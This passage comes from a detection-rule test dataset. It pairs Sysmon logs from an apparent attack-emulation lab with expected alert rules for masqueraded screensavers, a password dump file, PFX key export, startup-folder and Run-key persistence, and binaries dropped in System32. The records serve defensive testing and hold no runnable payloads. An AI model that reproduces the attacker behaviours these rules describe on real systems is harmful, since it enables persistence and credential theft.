C:\\\\Users\\\\chris\\\\Desktop\\\\‮cod.3aka3.scr\\r\\nTargetFilename: C:\\\\Users\\\\chris\\\\Downloads\\\\monkey.png\\r\\nCreationUtcTime: 2021-10-19 12:04:04.091\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-19T12:04:04.0952681Z\", \"eventRecordID\": \"48331\", \"threadID\": \"3932\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2340\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-19 12:04:04.091", "win.eventdata.image": "C:\\\\Users\\\\chris\\\\Desktop\\\\‮cod.3aka3.scr", "win.eventdata.processGuid": "{94f48244-aa65-616e-1001-000000001900}", "win.eventdata.processId": "4396", "win.eventdata.targetFilename": "C:\\\\Users\\\\chris\\\\Downloads\\\\monkey.png", "win.eventdata.utcTime": "2021-10-19 12:04:04.091", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "48331", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2340", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-19T12:04:04.0952681Z", "win.system.task": "11", "win.system.threadID": "3932", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92221", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "A Screensaver executable created a file"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"processGuid\": \"{1f43d37e-6816-6170-cf00-000000001300}\", \"processId\": \"1040\", \"utcTime\": \"2021-10-20 19:18:11.149\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\adminuser\\\\\\\\Downloads\\\\\\\\SysinternalsSuite.zip\", \"creationUtcTime\": \"2021-10-20 19:18:11.149\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-20 19:18:11.149\\r\\nProcessGuid: {1f43d37e-6816-6170-cf00-000000001300}\\r\\nProcessId: 1040\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\adminuser\\\\Downloads\\\\SysinternalsSuite.zip\\r\\nCreationUtcTime: 2021-10-20 19:18:11.149\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-20T19:18:11.1682906Z\", \"eventRecordID\": \"37037\", \"threadID\": \"1096\", \"computer\": \"Workstation1.dc.local\", \"task\": \"11\", \"processID\": \"2352\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-20 19:18:11.149", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{1f43d37e-6816-6170-cf00-000000001300}", "win.eventdata.processId": "1040", "win.eventdata.targetFilename": "C:\\\\Users\\\\adminuser\\\\Downloads\\\\SysinternalsSuite.zip", "win.eventdata.utcTime": "2021-10-20 19:18:11.149", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "11", "win.system.eventRecordID": "37037", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2352", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-20T19:18:11.1682906Z", "win.system.task": "11", "win.system.threadID": "1096", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92212", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Suspicious file compression activity by powershell: $(win.eventdata.targetFilename)."} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Program Files\\\\\\\\SysinternalsSuite\\\\\\\\accesschk.exe\", \"processGuid\": \"{94f48244-d740-6176-a002-000000002300}\", \"processId\": \"3944\", \"utcTime\": \"2021-10-25 16:11:44.247\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\passwordsDB\", \"ruleName\": \"technique_id=T1044,technique_name=File System Permissions Weakness\", \"creationUtcTime\": \"2021-10-25 16:11:44.247\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: technique_id=T1044,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-10-25 16:11:44.247\\r\\nProcessGuid: {94f48244-d740-6176-a002-000000002300}\\r\\nProcessId: 3944\\r\\nImage: C:\\\\Program Files\\\\SysinternalsSuite\\\\accesschk.exe\\r\\nTargetFilename: C:\\\\Windows\\\\SysWOW64\\\\passwordsDB\\r\\nCreationUtcTime: 2021-10-25 16:11:44.247\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-25T16:11:44.2546222Z\", \"eventRecordID\": \"115607\", \"threadID\": \"3124\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2292\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-25 16:11:44.247", "win.eventdata.image": "C:\\\\Program Files\\\\SysinternalsSuite\\\\accesschk.exe", "win.eventdata.processGuid": "{94f48244-d740-6176-a002-000000002300}", "win.eventdata.processId": "3944", "win.eventdata.ruleName": "technique_id=T1044,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Windows\\\\SysWOW64\\\\passwordsDB", "win.eventdata.utcTime": "2021-10-25 16:11:44.247", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "115607", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2292", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-25T16:11:44.2546222Z", "win.system.task": "11", "win.system.threadID": "3124", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92222", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "An executable accesschk.exe created a password dump file in a system directory"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"processGuid\": \"{94f48244-c7dc-6176-4902-000000002300}\", \"processId\": \"6140\", \"utcTime\": \"2021-10-25 15:18:14.930\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\Downloads\\\\\\\\vxupoe2e.je0.pfx\", \"creationUtcTime\": \"2021-10-25 15:18:14.914\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-25 15:18:14.930\\r\\nProcessGuid: {94f48244-c7dc-6176-4902-000000002300}\\r\\nProcessId: 6140\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Users\\\\chris\\\\Downloads\\\\vxupoe2e.je0.pfx\\r\\nCreationUtcTime: 2021-10-25 15:18:14.914\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-25T15:18:14.9388560Z\", \"eventRecordID\": \"115039\", \"threadID\": \"3124\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2292\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-25 15:18:14.914", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{94f48244-c7dc-6176-4902-000000002300}", "win.eventdata.processId": "6140", "win.eventdata.targetFilename": "C:\\\\Users\\\\chris\\\\Downloads\\\\vxupoe2e.je0.pfx", "win.eventdata.utcTime": "2021-10-25 15:18:14.930", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "115039", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2292", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-25T15:18:14.9388560Z", "win.system.task": "11", "win.system.threadID": "3124", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92224", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "PFX file created."} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-0fe5-6177-dc4d-4a0000000000}\",\"processId\":\"3132\",\"utcTime\":\"2021-10-25 20:36:29.391\",\"targetFilename\":\"C:\\\\\\\\ProgramData\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\hostui.lnk\",\"ruleName\":\"technique_id=T1187,technique_name=Forced Authentication\",\"creationUtcTime\":\"2021-10-25 20:34:09.949\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1187,technique_name=Forced Authentication\\r\\nUtcTime: 2021-10-25 20:36:29.391\\r\\nProcessGuid: {4dc16835-0fe5-6177-dc4d-4a0000000000}\\r\\nProcessId: 3132\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\hostui.lnk\\r\\nCreationUtcTime: 2021-10-25 20:34:09.949\\\"\",\"version\":\"2\",\"systemTime\":\"2021-10-25T20:36:29.3930991Z\",\"eventRecordID\":\"409602\",\"threadID\":\"3812\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-10-25 20:34:09.949", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-0fe5-6177-dc4d-4a0000000000}", "win.eventdata.processId": "3132", "win.eventdata.ruleName": "technique_id=T1187,technique_name=Forced Authentication", "win.eventdata.targetFilename": "C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\hostui.lnk", "win.eventdata.utcTime": "2021-10-25 20:36:29.391", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "409602", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-25T20:36:29.3930991Z", "win.system.task": "11", "win.system.threadID": "3812", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92226", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Powershell process created PFX file. Possible private key or certificate exportation"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\wsmprovhost.exe\", \"processGuid\": \"{4ead7fc4-8063-6182-0901-000000001600}\", \"processId\": \"4760\", \"utcTime\": \"2021-11-03 12:35:43.597\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\m.exe\", \"creationUtcTime\": \"2021-11-03 12:35:43.597\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-11-03 12:35:43.597\\r\\nProcessGuid: {4ead7fc4-8063-6182-0901-000000001600}\\r\\nProcessId: 4760\\r\\nImage: C:\\\\Windows\\\\system32\\\\wsmprovhost.exe\\r\\nTargetFilename: C:\\\\Windows\\\\System32\\\\m.exe\\r\\nCreationUtcTime: 2021-11-03 12:35:43.597\\\"\", \"version\": \"2\", \"systemTime\": \"2021-11-03T12:35:43.614137300Z\", \"eventRecordID\": \"148780\", \"threadID\": \"2136\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2376\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-11-03 12:35:43.597", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\wsmprovhost.exe", "win.eventdata.processGuid": "{4ead7fc4-8063-6182-0901-000000001600}", "win.eventdata.processId": "4760", "win.eventdata.targetFilename": "C:\\\\Windows\\\\System32\\\\m.exe", "win.eventdata.utcTime": "2021-11-03 12:35:43.597", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "148780", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2376", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-03T12:35:43.614137300Z", "win.system.task": "11", "win.system.threadID": "2136", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92220", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Binary created in Windows root folder by WinRM process"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"processGuid\": \"{94f48244-81af-6180-6e01-000000002100}\", \"processId\": \"5740\", \"utcTime\": \"2021-11-02 00:09:22.912\", \"targetFilename\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\m.exe\", \"creationUtcTime\": \"2021-11-02 00:09:22.867\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-11-02 00:09:22.912\\r\\nProcessGuid: {94f48244-81af-6180-6e01-000000002100}\\r\\nProcessId: 5740\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetFilename: C:\\\\Windows\\\\System32\\\\m.exe\\r\\nCreationUtcTime: 2021-11-02 00:09:22.867\\\"\", \"version\": \"2\", \"systemTime\": \"2021-11-02T00:09:22.9938867Z\", \"eventRecordID\": \"210136\", \"threadID\": \"3608\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2332\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-11-02 00:09:22.867", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{94f48244-81af-6180-6e01-000000002100}", "win.eventdata.processId": "5740", "win.eventdata.targetFilename": "C:\\\\Windows\\\\System32\\\\m.exe", "win.eventdata.utcTime": "2021-11-02 00:09:22.912", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "210136", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2332", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-02T00:09:22.9938867Z", "win.system.task": "11", "win.system.threadID": "3608", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92205", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Powershell process created an executable file in Windows root folder"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\curl.exe\", \"processGuid\": \"{94f48244-a252-618a-c800-000000002900}\", \"processId\": \"2832\", \"utcTime\": \"2021-11-09 16:31:21.765\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\compile.dll\", \"creationUtcTime\": \"2021-11-09 16:31:21.765\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-11-09 16:31:21.765\\r\\nProcessGuid: {94f48244-a252-618a-c800-000000002900}\\r\\nProcessId: 2832\\r\\nImage: C:\\\\Windows\\\\system32\\\\curl.exe\\r\\nTargetFilename: C:\\\\Users\\\\itadmin\\\\Desktop\\\\compile.dll\\r\\nCreationUtcTime: 2021-11-09 16:31:21.765\\\"\", \"version\": \"2\", \"systemTime\": \"2021-11-09T16:31:21.7703251Z\", \"eventRecordID\": \"213867\", \"threadID\": \"3060\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"11\", \"processID\": \"2468\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-11-09 16:31:21.765", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\curl.exe", "win.eventdata.processGuid": "{94f48244-a252-618a-c800-000000002900}", "win.eventdata.processId": "2832", "win.eventdata.targetFilename": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\compile.dll", "win.eventdata.utcTime": "2021-11-09 16:31:21.765", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "11", "win.system.eventRecordID": "213867", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2468", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-09T16:31:21.7703251Z", "win.system.task": "11", "win.system.threadID": "3060", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92227", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Curl process created an dll binary"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\msi.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Java-Update\",\"processGuid\":\"{4dc16835-4977-60ef-dac9-5b0000000000}\",\"processId\":\"4692\",\"utcTime\":\"2021-07-14 20:30:47.841\",\"ruleName\":\"technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\",\"details\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-07-14 20:30:47.841\\r\\nProcessGuid: {4dc16835-4977-60ef-dac9-5b0000000000}\\r\\nProcessId: 4692\\r\\nImage: C:\\\\Windows\\\\system32\\\\reg.exe\\r\\nTargetObject: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update\\r\\nDetails: C:\\\\Users\\\\Public\\\\\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:30:47.8486552Z\",\"eventRecordID\":\"28692\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C:\\\\Users\\\\Public\\\\Java-Update", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\msi.exe", "win.eventdata.processGuid": "{4dc16835-4977-60ef-dac9-5b0000000000}", "win.eventdata.processId": "4692", "win.eventdata.ruleName": "technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update", "win.eventdata.utcTime": "2021-07-14 20:30:47.841", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "28692", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:30:47.8486552Z", "win.system.task": "13", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92300", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "Added registry content to be executed on next logon"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\reg.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Java-Update\",\"processGuid\":\"{4dc16835-4977-60ef-dac9-5b0000000000}\",\"processId\":\"4692\",\"utcTime\":\"2021-07-14 20:30:47.841\",\"ruleName\":\"technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\",\"details\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.vbs\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-07-14 20:30:47.841\\r\\nProcessGuid: 